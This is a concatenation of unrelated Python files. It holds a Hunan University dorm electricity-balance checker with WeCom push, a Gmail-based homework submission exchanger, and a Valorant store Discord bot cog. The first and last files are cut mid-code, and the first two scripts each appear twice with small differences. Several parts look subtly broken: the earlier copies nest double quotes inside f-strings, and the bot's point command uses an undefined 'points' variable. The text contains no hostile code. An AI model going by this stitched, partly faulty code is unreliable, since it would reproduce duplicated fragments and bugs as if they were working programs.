result.get("BuildingName")}) msg.append({"name": "房号", "value": result.get("RoomNo")}) msg.append({"name": "电量", "value": result.get("Balance")}) else: msg.append({"name": "查询结果", "value": "查询失败,可能是接口失效"}) msg = "\n".join([f"{one.get("name")}: {one.get("value")}" for one in msg]) print(msg) if config.get('push'): try: send(content=msg, config=config) except Exception as e: print("企业微信应用消息推送失败", e) return if __name__ == "__main__": main_handler()
# -*- coding: utf8 -*- import requests import json def send(content, config): print("企业微信应用消息推送开始") qywx_corpid = config.get('qywx_corpid') qywx_agentid = config.get('qywx_agentid') qywx_corpsecret = config.get('qywx_corpsecret') qywx_touser = config.get('qywx_touser') res = requests.get( f"https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid={qywx_corpid}&corpsecret={qywx_corpsecret}" ) token = res.json().get("access_token", False) data = { "touser": qywx_touser, "agentid": int(qywx_agentid), "msgtype": "textcard", "textcard": { "title": "电费查询", "description": content, "url": "URL", }, } requests.post(url=f"https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token={token}", data=json.dumps(data)) return def main_handler(event, context): with open('./config.json', "r", encoding="utf-8") as f: config = json.loads(f.read()) url = f"http://wxpay.hnu.edu.cn/api/appElectricCharge/checkRoomNo?parkNo={config.get('parkNo')}&buildingNo={config.get('buildingNo')}&rechargeType=2&roomNo={config.get('roomNo')}" # http://wxpay.hnu.edu.cn/api/appElectricCharge/checkRoomNo?parkNo?parkNo={config.get('parkNo')}&buildingNo={config.get('buildingNo')}&rechargeType=2&roomNo={config.get('roomNo')} headers = { "Host": "wxpay.hnu.edu.cn", "Proxy-Connection": "keep-alive", "Accept": "*/*", "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6305002e)", "X-Requested-With": "XMLHttpRequest", # "Cookie": config.get('cookies'), "refere": "http://wxpay.hnu.edu.cn/electricCharge/home/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" } ret = requests.get(url=url, headers=headers).json() msg = [] if ret.get("msg") == "成功": result = ret.get("data", {}) msg.append({"name": "园区", "value": result.get("ParkName")}) msg.append({"name": "楼栋", "value": result.get("BuildingName")}) msg.append({"name": "房号", "value": result.get("RoomNo")}) msg.append({"name": "电量", "value": result.get("Balance")}) else: msg.append({"name": "查询结果", "value": "查询失败,可能是接口失效"}) msg = "\n".join([f"{one.get('name')}: {one.get('value')}" for one in msg]) print(msg) if config.get('push'): try: send(content=msg, config=config) except Exception as e: print("企业微信应用消息推送失败", e) return if __name__ == "__main__": main_handler()
from __future__ import print_function import base64 import functools import os import pickle import re import requests import shutil import socket import sys import time from datetime import datetime from datetime import timezone from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.utils import formataddr from google.auth.exceptions import TransportError from google.auth.transport.requests import Request from google_auth_oauthlib.flow import InstalledAppFlow from googleapiclient.discovery import build from googleapiclient.errors import HttpError from typing import Any from typing import Callable from typing import Dict from typing import List from typing import Optional from definitions import DATE_FORMAT from definitions import ROOT_PATH from utils.app_logger import get_logger from utils.data_models import Feedback from utils.data_models import Submission logger = get_logger(__name__) def slow_api_calls(func: Optional[Callable] = None, *, min_latency: float = 1) -> Callable: """Decorator to prevent exceeding of frequency rate limits of API calls. :param func: function to decorate. :param min_latency: minimal time of latency between API calls in seconds. :return: decorated function. """ if func is None: return functools.partial(slow_api_calls, min_latency=min_latency) @functools.wraps(func) def _wrapper(*args, **kwargs): time_diff = time.time() - _wrapper.last_call if time_diff < min_latency: time.sleep(min_latency - time_diff) _wrapper.last_call = time.time() return func(*args, **kwargs) _wrapper.last_call = time.time() return _wrapper def repeat_request(func: Optional[Callable] = None, *, recreate_resource: bool = True) -> Callable: """Decorator for repeating gmail API calls. Intended to overcome connection issues. This will repeat calls with time delay in 1, 5, 10, 15, and 20 minutes. :param func: function to decorate. :param recreate_resource: if gmail service should be rebuilt. :return: decorated function. """ if func is None: return functools.partial(repeat_request, recreate_resource=recreate_resource) @functools.wraps(func) def _wrapper(self, *args, **kwargs): for timeout in [1, 5, 10, 15, 20]: try: return func(self, *args, **kwargs) except (ConnectionError, TransportError, HttpError, requests.ConnectionError, socket.timeout) as err: error = err exc_type, _, _ = sys.exc_info() sleep_time = timeout * 60 logger.debug(f'Failed with {exc_type.__name__}.', exc_info=True) logger.debug(f'Sleep for {sleep_time} seconds.') time.sleep(sleep_time) if recreate_resource: logger.debug('Recreate Gmail resource.') self._gmail = self._build_resource() logger.debug('Request again.') logger.warning('The number of attempts is over.') raise error return _wrapper class GmailExchanger: """Use Gmail API for exchange.""" def __init__(self, creds: Dict[str, Any], fetch_label: str, send_name: str, send_email: str, path_downloaded: str) -> None: """Create GmailExchanger. :param creds: OAuth2 credentials that should be downloaded from Gmail API console. :param fetch_label: email label to monitor. Each message with this label will be considered as submission. :param send_name: sender name for outgoing messages. :param send_email: email of sender to show in outgoing messages. :param path_downloaded: where to save attachments. """ self._creds = creds self._fetch_label = fetch_label self._send_email = send_email self._send_name = send_name self._path_downloaded = path_downloaded self._path_pickle = os.path.join( ROOT_PATH, 'credentials', 'gmail.pickle') self._scopes = ['https://www.googleapis.com/auth/gmail.modify', 'https://www.googleapis.com/auth/gmail.settings.basic'] self._gmail = None self._label_id = None @repeat_request(recreate_resource=False) def _build_resource(self) -> Any: """Build gmail api resource. The first start requires to approve the access of this app to the gmail data. :return: resource for interaction. """ creds = None if os.path.exists(self._path_pickle): with open(self._path_pickle, 'rb') as token: creds = pickle.load(token) elif not os.path.isdir(os.path.dirname(self._path_pickle)): os.makedirs(os.path.dirname(self._path_pickle)) # If there are no (valid) credentials available, let the user log in if not creds or not creds.valid: if creds and creds.expired and creds.refresh_token: creds.refresh(Request()) else: flow = InstalledAppFlow.from_client_config( self._creds, self._scopes) creds = flow.run_local_server(open_browser=False) # Save the credentials for the next run with open(self._path_pickle, 'wb') as token: pickle.dump(creds, token) _gmail = build('gmail', 'v1', credentials=creds) logger.debug('New Gmail resource was created.') return _gmail def connect(self, to_create_filter: bool = False, fetch_keyword: Optional[str] = None, fetch_alias: Optional[str] = None) -> None: """Start up preparations. Here, user authorization is performed, and the necessary label is created or found among the existing labels. :param to_create_filter: if a gmail filter should be created. :param fetch_alias: email to which the submissions are sent (must be specified when `to_create_filter` is True). :param fetch_keyword: all messages containing this keyword in the subject will be marked with the fetcher label (must be specified when `to_create_filter` is True). """ # Build gmail api resource self._gmail = self._build_resource() # Create label if not exists self._label_id = self._get_label_id(self._fetch_label) # Create filter for submissions if to_create_filter: self._create_filter(self._label_id, fetch_keyword=fetch_keyword, fetch_alias=fetch_alias) logger.info('Gmail exchanger started successfully.') def fetch_new_submissions(self) -> List[Submission]: """Fetch new submissions from gmail. Each unread message with <GMAIL_LABEL> is handled as a new submission. Attachments of such message will be unpacked and saved to the specified path for downloads. :return: new submissions. """ # Get new submissions message_ids = self._get_new_messages() # Parse each submission submissions = [] for mes_id in message_ids: logger.info(f'Start parsing submission with id "{mes_id}".') msg = self._load_message(mes_id) new_submission = Submission( email=self._extract_email(msg), lesson_name=self._extract_lesson_name(msg), timestamp=self._extract_timestamp(msg), filepath=self._extract_attachments(msg), exchange_id=mes_id) submissions.append(new_submission) logger.info(f'Submission data from message with id "{mes_id}" ' f'was parsed and saved.') return submissions @slow_api_calls(min_latency=5) @repeat_request def _get_new_messages(self) -> List[str]: """Fetch new messages with submissions. :return: list of new message ids. """ query = 'is:unread' result = self._gmail.users().messages() \ .list(userId='me', q=query, labelIds=[self._label_id]).execute() return [msg['id'] for msg in result.get('messages', {})] @repeat_request def mark_as_completed(self, message_id: str) -> None: """Mark that the submission was graded and feedback was sent. After submission handling, its message is marked as READ so that it will not be handled with the next fetching. :param message_id: id of message. """ mods = {'addLabelIds': [], 'removeLabelIds': ['UNREAD']} self._gmail.users().messages().modify( body=mods, userId='me', id=message_id).execute() logger.info(f'Message with id "{message_id}" was marked as read.') def _extract_email(self, msg: Dict[str, Any]) -> str: """Extract sender email from message data. :param msg: message data. :return: email. """ headers = msg['payload']['headers'] sender = next(x for x in headers if x['name'] == 'From')['value'] match = re.search('.*<(?P<email>.*)>.*', sender) if match: sender = match.group('email') logger.debug(f'Sender email "{sender}" was extracted ' f'from the message with id "{msg['id']}".') return sender def _extract_lesson_name(self, msg: Dict[str, Any]) -> str: """Extract lesson name from message data. It is considered that each message with submission has a subject of the structure "<gmail_keyword> / <lesson_name>". :param msg: message data. :return: lesson name. """ headers = msg['payload']['headers'] subject = next(x for x in headers if x['name'] == 'Subject')['value'] match = re.search('^(?P<label>.*)/(?P<lesson>.*)$', subject) les_name = '' if match: les_name = match.group('lesson') logger.debug(f'Lesson name "{les_name}" extracted ' f'from the message with id "{msg['id']}".') return les_name def _extract_timestamp(self, msg: Dict[str, Any]) -> datetime: """Extract timestamp from message data. This extracts the timestamp set by Gmail, not user's one. :param msg: message data. :return: timestamp in UTC. """ utc_time = datetime.utcfromtimestamp( int(msg['internalDate']) / 1000).replace(tzinfo=timezone.utc) logger.debug(f'Timestamp "{utc_time.strftime(DATE_FORMAT)}" ' f'was extracted from the message with id "{msg['id']}".') return utc_time @repeat_request def _extract_attachments(self, msg: Dict[str, Any]) -> str: """Extract files from message data. This saves all attachments of the message to the specified folder for downloads. If the attachment is a ZIP or TAR archive, it will be unpacked. :param msg: message data. :return: path to folder where data was saved. """ # Create folder for submission content path = os.path.join(self._path_downloaded, msg['id']) if os.path.exists(path): logger.warning(f'The folder "{path}" already exists. ' f'Its content will be overwritten.') shutil.rmtree(path) os.makedirs(path) # Download attachments for part in msg['payload'].get('parts', {}): if not part['filename']: continue if 'data' in part['body']: data = part['body']['data'] else: att_id = part['body']['attachmentId'] att = self._gmail.users().messages().attachments() \ .get(userId='me', messageId=msg['id'], id=att_id) \ .execute() data = att['data'] file_data = base64.urlsafe_b64decode(data.encode('UTF-8')) file_path = os.path.join(path, part['filename']) with open(file_path, 'wb') as f: f.write(file_data) logger.debug(f'Attachment "{part['filename']}" of the ' f'message with id "{msg['id']}" was saved ' f'to "{file_path}".') # Extract files from archives for file in os.listdir(path): path_file = os.path.join(path, file) try: shutil.unpack_archive(path_file, path) logger.debug(f'File "{path_file}" was unpacked.') os.remove(path_file) except shutil.ReadError: pass return path @repeat_request def _load_message(self, message_id: str) -> Dict[str, Any]: """Download message content. :param message_id: id of the message. :return: message content. """ content = self._gmail.users().messages() \ .get(userId='me', id=message_id).execute() logger.debug(f'Content of the message with ' f'id "{message_id}" was downloaded.') return content @repeat_request def send_feedback(self, feedback: Feedback) -> None: """Send html feedback. :param feedback: feedback that contains email address, subject and html content. """ # Create message message = MIMEMultipart() message['to'] = formataddr((feedback.student_name, feedback.email)) message['from'] = formataddr((self._send_name, self._send_email)) message['subject'] = feedback.subject message.attach(MIMEText(feedback.html_body, 'html')) raw_message = base64.urlsafe_b64encode( message.as_string().encode('utf-8')) message = {'raw': raw_message.decode('utf-8')} # Send message self._gmail.users().messages() \ .send(userId='me', body=message).execute() logger.info(f'Message "{feedback.subject}" was sent ' f'to "{feedback.email}".') @repeat_request def _get_label_id(self, label_name: str) -> str: """Create new label or get information about existing one. :param: label_name: name of label to create. :return: label id. """ all_labels = self._gmail.users().labels().list(userId='me').execute() label_info = {} for label in all_labels['labels']: if label['name'] == label_name: label_info = label break if label_info: logger.debug(f'Gmail label "{label_info}" already exists.') else: body = {'name': label_name, 'messageListVisibility': 'show', 'labelListVisibility': 'labelShow'} label_info = self._gmail.users().labels() \ .create(userId='me', body=body).execute() logger.debug(f'New label "{label_info}" was created.') return label_info['id'] @repeat_request def _create_filter(self, label_id: str, fetch_keyword: str, fetch_alias: str) -> None: """Create filter for submissions. :param label_id: id of label to mark submissions. :param fetch_alias: email where submissions are sent. :param fetch_keyword: all messages containing this keyword in the subject will be marked with the `label_id`. """ # List all filters filters = self._gmail.users().settings().filters() \ .list(userId='me').execute() # Find if already exist criteria = {'to': fetch_alias, 'subject': fetch_keyword} action = {'addLabelIds': [label_id], 'removeLabelIds': ['INBOX', 'SPAM']} filter_info = {} for gmail_filter in filters['filter']: if (gmail_filter['criteria'] == criteria) \ and (gmail_filter['action'] == action): filter_info = gmail_filter break if filter_info: logger.debug(f'Filter {filter_info} already exists.') else: body = {'criteria': criteria, 'action': action} self._gmail.users().settings().filters() \ .create(userId='me', body=body).execute() logger.debug(f'Filter {filter_info} has been created.')
from __future__ import print_function import base64 import functools import os import pickle import re import requests import shutil import socket import sys import time from datetime import datetime from datetime import timezone from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.utils import formataddr from google.auth.exceptions import TransportError from google.auth.transport.requests import Request from google_auth_oauthlib.flow import InstalledAppFlow from googleapiclient.discovery import build from googleapiclient.errors import HttpError from typing import Any from typing import Callable from typing import Dict from typing import List from typing import Optional from definitions import DATE_FORMAT from definitions import ROOT_PATH from utils.app_logger import get_logger from utils.data_models import Feedback from utils.data_models import Submission logger = get_logger(__name__) def slow_api_calls(func: Optional[Callable] = None, *, min_latency: float = 1) -> Callable: """Decorator to prevent exceeding of frequency rate limits of API calls. :param func: function to decorate. :param min_latency: minimal time of latency between API calls in seconds. :return: decorated function. """ if func is None: return functools.partial(slow_api_calls, min_latency=min_latency) @functools.wraps(func) def _wrapper(*args, **kwargs): time_diff = time.time() - _wrapper.last_call if time_diff < min_latency: time.sleep(min_latency - time_diff) _wrapper.last_call = time.time() return func(*args, **kwargs) _wrapper.last_call = time.time() return _wrapper def repeat_request(func: Optional[Callable] = None, *, recreate_resource: bool = True) -> Callable: """Decorator for repeating gmail API calls. Intended to overcome connection issues. This will repeat calls with time delay in 1, 5, 10, 15, and 20 minutes. :param func: function to decorate. :param recreate_resource: if gmail service should be rebuilt. :return: decorated function. """ if func is None: return functools.partial(repeat_request, recreate_resource=recreate_resource) @functools.wraps(func) def _wrapper(self, *args, **kwargs): for timeout in [1, 5, 10, 15, 20]: try: return func(self, *args, **kwargs) except (ConnectionError, TransportError, HttpError, requests.ConnectionError, socket.timeout) as err: error = err exc_type, _, _ = sys.exc_info() sleep_time = timeout * 60 logger.debug(f'Failed with {exc_type.__name__}.', exc_info=True) logger.debug(f'Sleep for {sleep_time} seconds.') time.sleep(sleep_time) if recreate_resource: logger.debug('Recreate Gmail resource.') self._gmail = self._build_resource() logger.debug('Request again.') logger.warning('The number of attempts is over.') raise error return _wrapper class GmailExchanger: """Use Gmail API for exchange.""" def __init__(self, creds: Dict[str, Any], fetch_label: str, send_name: str, send_email: str, path_downloaded: str) -> None: """Create GmailExchanger. :param creds: OAuth2 credentials that should be downloaded from Gmail API console. :param fetch_label: email label to monitor. Each message with this label will be considered as submission. :param send_name: sender name for outgoing messages. :param send_email: email of sender to show in outgoing messages. :param path_downloaded: where to save attachments. """ self._creds = creds self._fetch_label = fetch_label self._send_email = send_email self._send_name = send_name self._path_downloaded = path_downloaded self._path_pickle = os.path.join( ROOT_PATH, 'credentials', 'gmail.pickle') self._scopes = ['https://www.googleapis.com/auth/gmail.modify', 'https://www.googleapis.com/auth/gmail.settings.basic'] self._gmail = None self._label_id = None @repeat_request(recreate_resource=False) def _build_resource(self) -> Any: """Build gmail api resource. The first start requires to approve the access of this app to the gmail data. :return: resource for interaction. """ creds = None if os.path.exists(self._path_pickle): with open(self._path_pickle, 'rb') as token: creds = pickle.load(token) elif not os.path.isdir(os.path.dirname(self._path_pickle)): os.makedirs(os.path.dirname(self._path_pickle)) # If there are no (valid) credentials available, let the user log in if not creds or not creds.valid: if creds and creds.expired and creds.refresh_token: creds.refresh(Request()) else: flow = InstalledAppFlow.from_client_config( self._creds, self._scopes) creds = flow.run_local_server(open_browser=False) # Save the credentials for the next run with open(self._path_pickle, 'wb') as token: pickle.dump(creds, token) _gmail = build('gmail', 'v1', credentials=creds) logger.debug('New Gmail resource was created.') return _gmail def connect(self, to_create_filter: bool = False, fetch_keyword: Optional[str] = None, fetch_alias: Optional[str] = None) -> None: """Start up preparations. Here, user authorization is performed, and the necessary label is created or found among the existing labels. :param to_create_filter: if a gmail filter should be created. :param fetch_alias: email to which the submissions are sent (must be specified when `to_create_filter` is True). :param fetch_keyword: all messages containing this keyword in the subject will be marked with the fetcher label (must be specified when `to_create_filter` is True). """ # Build gmail api resource self._gmail = self._build_resource() # Create label if not exists self._label_id = self._get_label_id(self._fetch_label) # Create filter for submissions if to_create_filter: self._create_filter(self._label_id, fetch_keyword=fetch_keyword, fetch_alias=fetch_alias) logger.info('Gmail exchanger started successfully.') def fetch_new_submissions(self) -> List[Submission]: """Fetch new submissions from gmail. Each unread message with <GMAIL_LABEL> is handled as a new submission. Attachments of such message will be unpacked and saved to the specified path for downloads. :return: new submissions. """ # Get new submissions message_ids = self._get_new_messages() # Parse each submission submissions = [] for mes_id in message_ids: logger.info(f'Start parsing submission with id "{mes_id}".') msg = self._load_message(mes_id) new_submission = Submission( email=self._extract_email(msg), lesson_name=self._extract_lesson_name(msg), timestamp=self._extract_timestamp(msg), filepath=self._extract_attachments(msg), exchange_id=mes_id) submissions.append(new_submission) logger.info(f'Submission data from message with id "{mes_id}" ' f'was parsed and saved.') return submissions @slow_api_calls(min_latency=5) @repeat_request def _get_new_messages(self) -> List[str]: """Fetch new messages with submissions. :return: list of new message ids. """ query = 'is:unread' result = self._gmail.users().messages() \ .list(userId='me', q=query, labelIds=[self._label_id]).execute() return [msg['id'] for msg in result.get('messages', {})] @repeat_request def mark_as_completed(self, message_id: str) -> None: """Mark that the submission was graded and feedback was sent. After submission handling, its message is marked as READ so that it will not be handled with the next fetching. :param message_id: id of message. """ mods = {'addLabelIds': [], 'removeLabelIds': ['UNREAD']} self._gmail.users().messages().modify( body=mods, userId='me', id=message_id).execute() logger.info(f'Message with id "{message_id}" was marked as read.') def _extract_email(self, msg: Dict[str, Any]) -> str: """Extract sender email from message data. :param msg: message data. :return: email. """ headers = msg['payload']['headers'] sender = next(x for x in headers if x['name'] == 'From')['value'] match = re.search('.*<(?P<email>.*)>.*', sender) if match: sender = match.group('email') logger.debug(f'Sender email "{sender}" was extracted ' f'from the message with id "{msg["id"]}".') return sender def _extract_lesson_name(self, msg: Dict[str, Any]) -> str: """Extract lesson name from message data. It is considered that each message with submission has a subject of the structure "<gmail_keyword> / <lesson_name>". :param msg: message data. :return: lesson name. """ headers = msg['payload']['headers'] subject = next(x for x in headers if x['name'] == 'Subject')['value'] match = re.search('^(?P<label>.*)/(?P<lesson>.*)$', subject) les_name = '' if match: les_name = match.group('lesson') logger.debug(f'Lesson name "{les_name}" extracted ' f'from the message with id "{msg["id"]}".') return les_name def _extract_timestamp(self, msg: Dict[str, Any]) -> datetime: """Extract timestamp from message data. This extracts the timestamp set by Gmail, not user's one. :param msg: message data. :return: timestamp in UTC. """ utc_time = datetime.utcfromtimestamp( int(msg['internalDate']) / 1000).replace(tzinfo=timezone.utc) logger.debug(f'Timestamp "{utc_time.strftime(DATE_FORMAT)}" ' f'was extracted from the message with id "{msg["id"]}".') return utc_time @repeat_request def _extract_attachments(self, msg: Dict[str, Any]) -> str: """Extract files from message data. This saves all attachments of the message to the specified folder for downloads. If the attachment is a ZIP or TAR archive, it will be unpacked. :param msg: message data. :return: path to folder where data was saved. """ # Create folder for submission content path = os.path.join(self._path_downloaded, msg['id']) if os.path.exists(path): logger.warning(f'The folder "{path}" already exists. ' f'Its content will be overwritten.') shutil.rmtree(path) os.makedirs(path) # Download attachments for part in msg['payload'].get('parts', {}): if not part['filename']: continue if 'data' in part['body']: data = part['body']['data'] else: att_id = part['body']['attachmentId'] att = self._gmail.users().messages().attachments() \ .get(userId='me', messageId=msg['id'], id=att_id) \ .execute() data = att['data'] file_data = base64.urlsafe_b64decode(data.encode('UTF-8')) file_path = os.path.join(path, part['filename']) with open(file_path, 'wb') as f: f.write(file_data) logger.debug(f'Attachment "{part["filename"]}" of the ' f'message with id "{msg["id"]}" was saved ' f'to "{file_path}".') # Extract files from archives for file in os.listdir(path): path_file = os.path.join(path, file) try: shutil.unpack_archive(path_file, path) logger.debug(f'File "{path_file}" was unpacked.') os.remove(path_file) except shutil.ReadError: pass return path @repeat_request def _load_message(self, message_id: str) -> Dict[str, Any]: """Download message content. :param message_id: id of the message. :return: message content. """ content = self._gmail.users().messages() \ .get(userId='me', id=message_id).execute() logger.debug(f'Content of the message with ' f'id "{message_id}" was downloaded.') return content @repeat_request def send_feedback(self, feedback: Feedback) -> None: """Send html feedback. :param feedback: feedback that contains email address, subject and html content. """ # Create message message = MIMEMultipart() message['to'] = formataddr((feedback.student_name, feedback.email)) message['from'] = formataddr((self._send_name, self._send_email)) message['subject'] = feedback.subject message.attach(MIMEText(feedback.html_body, 'html')) raw_message = base64.urlsafe_b64encode( message.as_string().encode('utf-8')) message = {'raw': raw_message.decode('utf-8')} # Send message self._gmail.users().messages() \ .send(userId='me', body=message).execute() logger.info(f'Message "{feedback.subject}" was sent ' f'to "{feedback.email}".') @repeat_request def _get_label_id(self, label_name: str) -> str: """Create new label or get information about existing one. :param: label_name: name of label to create. :return: label id. """ all_labels = self._gmail.users().labels().list(userId='me').execute() label_info = {} for label in all_labels['labels']: if label['name'] == label_name: label_info = label break if label_info: logger.debug(f'Gmail label "{label_info}" already exists.') else: body = {'name': label_name, 'messageListVisibility': 'show', 'labelListVisibility': 'labelShow'} label_info = self._gmail.users().labels() \ .create(userId='me', body=body).execute() logger.debug(f'New label "{label_info}" was created.') return label_info['id'] @repeat_request def _create_filter(self, label_id: str, fetch_keyword: str, fetch_alias: str) -> None: """Create filter for submissions. :param label_id: id of label to mark submissions. :param fetch_alias: email where submissions are sent. :param fetch_keyword: all messages containing this keyword in the subject will be marked with the `label_id`. """ # List all filters filters = self._gmail.users().settings().filters() \ .list(userId='me').execute() # Find if already exist criteria = {'to': fetch_alias, 'subject': fetch_keyword} action = {'addLabelIds': [label_id], 'removeLabelIds': ['INBOX', 'SPAM']} filter_info = {} for gmail_filter in filters['filter']: if (gmail_filter['criteria'] == criteria) \ and (gmail_filter['action'] == action): filter_info = gmail_filter break if filter_info: logger.debug(f'Filter {filter_info} already exists.') else: body = {'criteria': criteria, 'action': action} self._gmail.users().settings().filters() \ .create(userId='me', body=body).execute() logger.debug(f'Filter {filter_info} has been created.')
# Standard import discord from discord.commands import slash_command, Option from discord.ext import commands from difflib import get_close_matches from datetime import datetime, timedelta # Local from utils.json_loader import * from utils.view import * from utils.cache import * from utils.emoji import * from utils.auth import Auth from utils.api_endpoint import VALORANT_API from utils.pillow import generate_image from utils.embed import embed_design_giorgio, pillow_embed, night_embed class valorant(commands.Cog): def __init__(self, bot): self.bot = bot @commands.Cog.listener() async def on_ready(self): print(f'-{self.__class__.__name__}') @commands.Cog.listener() async def on_application_command_error(self, ctx, error): embed = discord.Embed(color=0xfe676e) if isinstance(error, discord.ApplicationCommandInvokeError): error = error.original else: error = f"An unknown error occurred, sorry" embed.description = f'{str(error)[:2000]}' await ctx.respond(embed=embed, ephemeral=True) @slash_command(description="Shows your daily store in your accounts") async def store(self, ctx, username: Option(str, "Input username (temp login)", required=False), password: Option(str, "Input password (temp login)", required=False)): is_private = False if username is not None or password is not None: is_private = True await ctx.defer(ephemeral=is_private) if username and password: puuid, headers, region, ign = Auth(username, password).temp_auth() # fetch_skin_for_quick_check try: skin_data = data_read('skins') if skin_data['prices']["version"] != self.bot.game_version: fetch_price(region=region, headers=headers) except KeyError: fetch_price(region=region, headers=headers) skin_list = VALORANT_API().temp_store(puuid, headers, region) riot_name = ign elif username or password: raise commands.CommandError("An unknown error occurred, sorry") else: data = Auth(user_id=ctx.author.id).get_users() try: skin_data = data_read('skins') if skin_data['prices']["version"] != self.bot.game_version: fetch_price(user_id=ctx.author.id) except KeyError: fetch_price(user_id=ctx.author.id) skin_list = VALORANT_API(str(ctx.author.id)).get_store_offer() riot_name = data['IGN'] config = config_read() design = config['embed_design'] if design == 'ꜱᴛᴀᴄɪᴀ.#7475': embed = pillow_embed(riot_name, ctx.author, skin_list['duration']) file = generate_image(skin_list) await ctx.respond(embed=embed, file=file) elif design == 'Giorgio#0609': # https://github.com/giorgi-o/ try: embed = discord.Embed(color=0xfd4554) embed.description = f"Daily store for **{riot_name}** | Remaining {format_dt((datetime.utcnow() + timedelta(seconds=skin_list["duration"])), "R")}" skin1 = skin_list['skin1'] skin2 = skin_list['skin2'] skin3 = skin_list['skin3'] skin4 = skin_list['skin4'] embed1 = embed_design_giorgio(skin1['uuid'], skin1['name'], skin1['price'], skin1['icon']) embed2 = embed_design_giorgio(skin2['uuid'], skin2['name'], skin2['price'], skin2['icon']) embed3 = embed_design_giorgio(skin3['uuid'], skin3['name'], skin3['price'], skin3['icon']) embed4 = embed_design_giorgio(skin4['uuid'], skin4['name'], skin4['price'], skin4['icon']) await ctx.respond(embeds=[embed, embed1, embed2, embed3, embed4]) except Exception as e: print(e) raise commands.CommandError("An unknown error occurred, sorry") @slash_command(description="Log in with your Riot acoount") async def login(self, ctx, username: Option(str, "Input username"), password: Option(str, "Input password")): create_json('users', {}) auth = Auth(username, password, str(ctx.author.id)) login = auth.authenticate() if login['auth'] == 'response': await ctx.defer(ephemeral=True) auth.get_entitlements_token() auth.get_userinfo() auth.get_region() data = data_read('users') embed = discord.Embed(color=0xfd4554, description='Successfully logged in as **{}**!'.format(data[str(ctx.author.id)]['IGN'])) await ctx.respond(embed=embed) elif login['auth'] == '2fa': error = login['error'] modal = TwoFA_UI(ctx, error) await ctx.send_modal(modal) else: raise commands.UserInputError('Your username or password may be incorrect!') @slash_command(name='logout', description="Logout and delete your accounts") async def logout(self, ctx): await ctx.defer(ephemeral=True) try: data = data_read('users') del data[str(ctx.author.id)] data_save('users', data) embed = discord.Embed(description='You have been logged out bot', color=0xfd4554) return await ctx.respond(embed=embed, ephemeral=True) except KeyError: raise commands.UserInputError("I can't logout you if you're not registered!") except Exception: raise commands.UserInputError("I can't logout you") @slash_command(description="Set an notify for when a particular skin is in your store") async def notify(self, ctx, skin: Option(str, "The name of the skin you want to notify")): await ctx.defer() # get_user user_id = ctx.author.id Auth(user_id=user_id).get_users() await setup_emoji(ctx) create_json('notifys', []) skindata = data_read('skins') skindata['skins'].pop('version') name_list = [skindata['skins'][x]['name'] for x in skindata['skins']] skin_name = get_close_matches(skin, name_list, 1) if skin_name: notify_data = data_read('notifys') find_skin = [x for x in skindata['skins'] if skindata['skins'][x]['name'] == skin_name[0]] skin_uuid = find_skin[0] skin_source = skindata['skins'][skin_uuid] name = skin_source['name'] icon = skin_source['icon'] uuid = skin_source['uuid'] emoji = get_emoji_tier(skin_uuid) for skin in notify_data: author = skin['id'] uuid = skin['uuid'] if author == str(user_id) and uuid == skin_uuid: raise RuntimeError(f'{emoji} **{name}** is already in your Notify') data_add = { "id": str(ctx.author.id), "uuid": skin_uuid, "channel_id": ctx.channel.id } notify_data.append(data_add) data_save('notifys', notify_data) embed = discord.Embed(description=f'Successfully set an notify for the {emoji} **{name}**', color=0xfd4554) embed.set_thumbnail(url=icon) view = Notify(ctx.author.id, uuid, name) view.message = await ctx.respond(embed=embed, view=view) return raise RuntimeError("Not found skin") @slash_command(description="Shows all your skin notify") async def notifys(self, ctx): await ctx.defer(ephemeral=True) Auth(user_id=ctx.author.id).get_users() try: skin_data = data_read('skins') if skin_data['prices']["version"] != self.bot.game_version: fetch_price(user_id=ctx.author.id) except KeyError: fetch_price(user_id=ctx.author.id) view = Notify_list(ctx) await view.start() @slash_command(description="Change notify mode") async def notify_mode(self, ctx, mode: Option(str, "Choose notify mode (default = Spectified)", choices=['Spectified Skin','All Skin','Off'])): await ctx.defer(ephemeral=True) Auth(user_id=ctx.author.id).get_users() data = data_read('users') try: skin_data = data_read('skins') if skin_data['prices']["version"] != self.bot.game_version: fetch_price(user_id=ctx.author.id) except KeyError: fetch_price(user_id=ctx.author.id) embed = discord.Embed(color=0xfd4554) if mode == 'Spectified Skin': config = config_read() config["notify_mode"] = 'Spectified' config_save(config) embed.title = "**Changed notify mode** - Spectified" embed.description = "Use `/notify` to add skins to the notify list." embed.set_image(url='https://i.imgur.com/RF6fHRY.png') await ctx.respond(embed=embed) elif mode == 'All Skin': config = config_read() config["notify_mode"] = 'All' config_save(config) config_save(config) data[str(ctx.author.id)]['channel'] = ctx.channel.id data_save('users', data) embed.title = "**Changed notify mode** - All" embed.description = f"**Set Channel:** {ctx.channel.mention} for all notify" embed.set_image(url='https://i.imgur.com/Gedqlzc.png') await ctx.respond(embed=embed) else: config = config_read() config["notify_mode"] = False config_save(config) embed.title = "**Changed notify mode** - Off" embed.description = 'turn off notify' await ctx.respond(embed=embed) @slash_command(description="Shows your valorant point in your accounts") async def point(self, ctx): await ctx.defer() user_id = ctx.author.id data = Auth(user_id=user_id).get_users() balances = get_valorant_point(str(user_id)) try: balances = get_valorant_point(str(user_id)) vp = balances["85ad13f7-3d1b-5128-9eb2-7cd8ee0b5741"] rad = balances["e59aa87c-4cbf-517a-5983-6e81511be9b7"] except: raise commands.UserInputError("Can't fetch point") embed = discord.Embed(title=f"{data["IGN"]} Points:",color=0xfd4554) embed.add_field(name='Valorant Points',value=f"{points["vp"]} {vp}", inline=True) embed.add_field(name='Radianite points',value=f"{points["rad"]} {rad}", inline=True) await ctx.respond(embed=embed) @slash_command(description="Shows your daily/weelky mission") async def mission(self, ctx): await ctx.defer() user = Auth(user_id=ctx.author.id).get_users() data = VALORANT_API(str(ctx.author.id)).fetch_mission() mission = data["Missions"] def iso_to_time(iso): timestamp = datetime.strptime(iso, "%Y-%m-%dT%H:%M:%S%z").timestamp() time = datetime.utcfromtimestamp(timestamp) return time weekly = [] daily = [] 